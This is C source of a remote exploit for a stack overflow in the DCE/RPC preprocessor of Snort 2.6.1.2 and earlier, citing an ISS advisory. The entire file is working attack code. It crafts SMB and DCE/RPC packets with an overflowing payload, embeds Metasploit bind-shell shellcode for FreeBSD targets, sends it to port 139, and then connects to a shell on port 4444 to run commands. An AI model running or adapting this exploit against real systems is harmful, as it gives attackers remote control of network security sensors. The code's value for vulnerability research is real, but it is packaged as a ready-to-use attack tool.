/* * Snort <= 2.6.1.2 DCE/RPC Preprocessor stack overflow remote exploit * Original Advisory: http://www.iss.net/threats/257.html * * Abhisek Datta */ #include #include #include #include #include #include #include #include #include #include #include #include #define ERROR_CHECK(error) do { \ if(error) { \ perror("failed"); \ exit(EXIT_FAILURE); \ } \ } while(0) #define SET_NBT_HEADER_LEN(x) (*((unsigned short*) &nbt_header[2]) = htons((uint16_t)x)) #define COPY_NBT_HEADER(dst) (memcpy(dst, nbt_header, 4)) #define NBT_HEADER nbt_header static char nbt_header[] = { "\x00\x00" "\xff\xff" }; #define SMB_HEADER smb_header static char smb_header[] = { "\xffSMB" /* SMB ID */ "\x2f" /* SMB_WriteAndX */ "\x00" /* Error Class */ "\x00" /* Reserved */ "\x00\x00" /* Error code */ "\x00" /* Flags */ "\x00\x00" /* Flags 2 */ "\x00\x00" /* Process ID High */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* Signature */ "\x00\x00" /* Reserved */ "\x01\x00" /* Tree ID */ "\x01\x00" /* Process ID */ "\x64\x00" /* User ID */ "\x12\x00" /* Multiplex ID */ }; #define SMB_WRITEANDX_HEADER smb_write_andx_header #define SET_SMBWRITEANDX_WORD_COUNT(x) (*((unsigned char*) &smb_write_andx_header[0]) = (uint8_t)x) #define SET_SMBWRITEANDX_DATA_LEN_LOW(x) (*((unsigned short*) &smb_write_andx_header[21]) = (uint16_t)x) #define SET_SMBWRITEANDX_DATA_OFFSET(x) (*((unsigned short*) &smb_write_andx_header[23]) = (uint16_t)x) #define SET_SMB_WRITEANDX_BYTE_COUNT(x) (*((unsigned short*) &smb_write_andx_header[29]) = (uint16_t)x) static char smb_write_andx_header[] = { "\x0e" /* AndX Word Count */ "\xff" /* AndX Command */ "\x00" /* Reserved */ "\x00\x00" /* AndX Offset */ "\x6b\x27" /* FID */ "\x00\x00\x00\x00" /* Offset */ "\x00\x00\x00\x00" /* Reserved */ "\x00\x00" /* Write Mode */ "\x00\x00" /* Remaining */ "\x00\x00" /* Data Length High */ "\x02\x00" /* Data Length Low */ "\x40\x00" /* Data Offset */ "\x00\x00\x00\x00" /* High Offset */ "\x03\x00" /* Byte Count */ "X" /* Padding */ }; #define DCERPC_HEADER dcerpc_frag static char dcerpc_frag[] = { "\x05" /* Version Major */ "\x00" /* Version Minor */ "\x0b" /* PDU Type */ "\x03" /* Flags */ "\x10\x00\x00\x00" /* Data Representation Format */ "\x49\x00" /* Frag Length */ "\x00\x00" /* Auth Length */ "\x00\x00\x00\x00" /* Call ID */ "\xd0\x16" /* Max Xmit Frag */ "\xd0\x16" /* Max Recv Frag */ "\x00\x00\x00\x00" /* Associated Group */ "\x01" /* Number of Context */ "\x00\x00" /* Context ID */ "\x01" /* Num Trans Item */ "\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00\x00\x00" "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00" }; #define RESET_BUFFER do { \ memset(buffer, 0x00, sizeof(buffer)); \ buffer_size = 0; \ } while(0) #define COPY_BUFFER(offset, src, size) do { \ if((buffer_size + size) > sizeof(buffer)) { \ printf("Buffer size exceeded\n"); \ exit(EXIT_FAILURE); \ } \ memcpy(buffer + offset, src, size); \ buffer_size += size; \ } while(0) static char buffer[65535]; static unsigned int buffer_size; static int sock; static void session_setup() { char smb_negotiate_req[] = { 0x00, 0x00, 0x00, 0xb3, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0x3b, 0x00, 0x00, 0x01, 0x00, 0x00, 0x90, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44, 0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 }; char smb_session_setup_req[] = { 0x00, 0x00, 0x00, 0x8a, 0xff, 0x53, 0x4d, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0x3b, 0x00, 0x00, 0x02, 0x00, 0x0d, 0xff, 0x00, 0x00, 0x00, 0xff, 0xff, 0x02, 0x00, 0x83, 0x3b, 0x84, 0x33, 0x01, 0x00, 0x18, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xd0, 0x00, 0x00, 0x4d, 0x00, 0xbb, 0x53, 0x24, 0xba, 0x59, 0x52, 0x7b, 0x5c, 0x36, 0x10, 0x66, 0x4e, 0xcc, 0x23, 0x58, 0xd3, 0x28, 0x6d, 0x35, 0x4a, 0x4e, 0x88, 0x05, 0x27, 0x6e, 0x8c, 0x1c, 0x04, 0x32, 0x78, 0x57, 0xf9, 0x6f, 0x67, 0xd9, 0xef, 0xe2, 0x29, 0xe4, 0x11, 0x5e, 0x44, 0xce, 0x20, 0x4e, 0xb4, 0x84, 0xbd, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x00, 0x57, 0x4f, 0x52, 0x4b, 0x47, 0x52, 0x4f, 0x55, 0x50, 0x00, 0x55, 0x6e, 0x69, 0x78, 0x00, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00 }; char smb_tree_connect_req[] = { 0x00, 0x00, 0x00, 0x45, 0xff, 0x53, 0x4d, 0x42, 0x75, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x64, 0x00, 0x03, 0x00, 0x04, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1a, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x30, 0x2e, 0x32, 0x5c, 0x49, 0x50, 0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 }; char smb_ntcreate_andx_req[] = { 0x00, 0x00, 0x00, 0x82, 0xff, 0x53, 0x4d, 0x42, 0xa2, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x4c, 0x05, 0x67, 0x00, 0x40, 0x0c, 0x18, 0xff, 0x00, 0xde, 0xde, 0x00, 0x2c, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x2f, 0x00, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2e, 0x00, 0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x74, 0x00, 0x6d, 0x00, 0x70, 0x00, 0x5c, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6d, 0x00, 0x6d, 0x00, 0x79, 0x00, 0x00, 0x00 }; int n; n = send(sock, smb_negotiate_req, sizeof(smb_negotiate_req), 0); ERROR_CHECK(n != sizeof(smb_negotiate_req)); sleep(1); n = send(sock, smb_session_setup_req, sizeof(smb_session_setup_req), 0); ERROR_CHECK(n != sizeof(smb_session_setup_req)); sleep(1); n = send(sock, smb_tree_connect_req, sizeof(smb_tree_connect_req), 0); ERROR_CHECK(n != sizeof(smb_tree_connect_req)); sleep(1); n = send(sock, smb_ntcreate_andx_req, sizeof(smb_ntcreate_andx_req), 0); ERROR_CHECK(n != sizeof(smb_ntcreate_andx_req)); sleep(1); } /* bsd_ia32_bind - LPORT=4444 Size=104 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char freebsd_scode[] = //"\xcc" "\x41\x90\x41\x90\x41\x90\x41\x90\x41\x90\x41\x90\x41\x90\x41\x90" "\x2b\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x68" "\x24\x1f\x5b\x83\xeb\xfc\xe2\xf4\x02\x45\x47\xc2\x3a\x4c\x0f\x59" "\x79\x78\x96\xba\x3a\x66\x4d\x19\x3a\x4e\x0f\x96\xe8\xbd\x8c\x0a" "\x3b\x76\x75\x33\x30\xe9\x9f\xeb\x02\xe9\x9f\x09\x3b\x76\xaf\x45" "\xa5\xa4\x88\x31\x6a\x7d\x75\x01\x30\x75\x48\x0a\xa5\xa4\x56\x22" "\x9d\x74\x77\x74\x47\x57\x77\x33\x47\x46\x76\x35\xe1\xc7\x4f\x0f" "\x3b\x77\xaf\x60\xa5\xa4\x1f\x5b"; static struct { char *name; unsigned int distance; unsigned int ret; unsigned char *payload; unsigned int payload_size; } simple_targets[] = { { "Snort 2.6.1.2/Generic Debug", 12, 0x41414141, "\xcc", 1 }, { "Snort 2.6.1.2-Debug/FreeBSD 6.2-STABLE (gdb)", 12, 0xbfbfe540, freebsd_scode, sizeof(freebsd_scode) }, { "Snort 2.6.1.2-Debug/FreeBSD 6.2-STABLE", 12, 0xbfbfe560, freebsd_scode, sizeof(freebsd_scode) } }; static unsigned int target_selection; static unsigned char *target_host; static void build_pwnage() { unsigned int n = 0; unsigned int packet_size; unsigned int payload_size; unsigned char payload[256]; unsigned char *target = simple_targets[target_selection].name; unsigned char *asmcode = simple_targets[target_selection].payload; unsigned int asmcode_size = simple_targets[target_selection].payload_size; unsigned int distance = simple_targets[target_selection].distance; unsigned int ret = simple_targets[target_selection].ret; int nopspace; printf("[+] Building payload for [%s] [distance=%d ret=0x%08x]\n", target, distance, ret); payload_size = sizeof(payload); if((asmcode_size > sizeof(payload)) || ((distance + 4) > (payload_size - asmcode_size - 1))) { printf("[+] Payload size too big\n"); exit(EXIT_FAILURE); } memset(payload, 0x41, sizeof(payload)); memcpy(payload + distance - 4, "BBBB", 4); memcpy(payload + distance, &ret, 4); //memcpy(payload + distance + 4, asmcode, asmcode_size); nopspace = payload_size - asmcode_size - distance - 4 - 1; if(nopspace < 0) nopspace = 0; printf("[+] Using %d bytes for NOP space\n", nopspace); memset(payload + distance + 4, 0x41, nopspace); memcpy(payload + distance + 4 + nopspace, asmcode, asmcode_size); RESET_BUFFER; SET_SMBWRITEANDX_DATA_OFFSET(64 + payload_size - 1); SET_SMBWRITEANDX_DATA_LEN_LOW(sizeof(DCERPC_HEADER)); SET_SMB_WRITEANDX_BYTE_COUNT(sizeof(DCERPC_HEADER) + payload_size); packet_size = sizeof(SMB_HEADER) + sizeof(SMB_WRITEANDX_HEADER) + payload_size + sizeof(DCERPC_HEADER) - 3; SET_NBT_HEADER_LEN(packet_size); COPY_BUFFER(n, NBT_HEADER, sizeof(NBT_HEADER)); n += sizeof(NBT_HEADER) - 1; COPY_BUFFER(n, SMB_HEADER, sizeof(SMB_HEADER)); n += sizeof(SMB_HEADER) - 1; COPY_BUFFER(n, SMB_WRITEANDX_HEADER, sizeof(SMB_WRITEANDX_HEADER)); n += sizeof(SMB_WRITEANDX_HEADER) - 1; COPY_BUFFER(n, payload, payload_size); n += payload_size - 1; COPY_BUFFER(n, DCERPC_HEADER, sizeof(DCERPC_HEADER)); } static void build_trigger() { unsigned int n = 0; unsigned int packet_size; RESET_BUFFER; packet_size = sizeof(SMB_HEADER) + sizeof(SMB_WRITEANDX_HEADER) + sizeof(DCERPC_HEADER); SET_SMBWRITEANDX_DATA_LEN_LOW(sizeof(DCERPC_HEADER)); SET_SMB_WRITEANDX_BYTE_COUNT(sizeof(DCERPC_HEADER)); SET_NBT_HEADER_LEN(packet_size); COPY_BUFFER(n, NBT_HEADER, sizeof(NBT_HEADER)); n += sizeof(NBT_HEADER) - 1; COPY_BUFFER(n, SMB_HEADER, sizeof(SMB_HEADER)); n += sizeof(SMB_HEADER) - 1; COPY_BUFFER(n, SMB_WRITEANDX_HEADER, sizeof(SMB_WRITEANDX_HEADER)); n += sizeof(SMB_WRITEANDX_HEADER) - 1; COPY_BUFFER(n, DCERPC_HEADER, sizeof(DCERPC_HEADER)); } static void pwn() { int n; n = send(sock, buffer, buffer_size, 0); ERROR_CHECK(n != buffer_size); sleep(1); printf("[+] Sent data of size %d\n", n); } static void connect_host(in_addr_t host, unsigned short port) { struct sockaddr_in sin; int ret; const int one = 1; sin.sin_addr.s_addr = host; sin.sin_port = htons(port); sin.sin_family = AF_INET; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ERROR_CHECK((sock == -1)); ret = connect(sock, (struct sockaddr*)&sin, sizeof(sin)); ERROR_CHECK((ret != 0)); ret = setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)); ERROR_CHECK((ret != 0)); } static void disconnect_host() { shutdown(sock, SHUT_RDWR); close(sock); } static void exp_help() { int i; printf("Snort <= 2.6.1.2 DCE/RPC PreProcessor Remote Stack Overflow Exploit\n"); printf("Original advisory: http://www.iss.net/threats/257.html\n"); printf("\n"); printf("Usage:\n"); printf("\t./exp \n"); printf("\n"); printf("Available Targets:\n"); for(i = 0; i < sizeof(simple_targets)/sizeof(simple_targets[0]); i++) printf("\t[%d] %s\n", i, simple_targets[i].name); exit(EXIT_FAILURE); } static void process_args(int argc, char **argv) { target_host = strdup(argv[1]); target_selection = atoi(argv[2]); if(target_selection > (sizeof(simple_targets)/sizeof(simple_targets[0]))) { printf("[+] Invalid Target\n"); exit(EXIT_FAILURE); } } static void join_shell(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "id; uname -a;\n"); write(sockfd, snd, strlen(snd)); for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if (FD_ISSET(sockfd, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { printf("[+] Good Bye!\n"); break; } ERROR_CHECK(n < 0); fputs(rcv, stdout); fflush(stdout); } } } int main(int argc, char **argv) { if(argc < 3) exp_help(); else process_args(argc, argv); printf("[+] Connecting target %s\n", target_host); connect_host(inet_addr(target_host), 139); printf("[+] Setting up SMB Session\n"); session_setup(); printf("[+] Triggering up DCERPC reassembly\n"); build_trigger(); pwn(); printf("[+] Triggering overflow\n"); build_pwnage(); pwn(); disconnect_host(); sleep(1); printf("[+] Attempting to join shell\n"); connect_host(inet_addr(target_host), 4444); join_shell(sock); return 0; }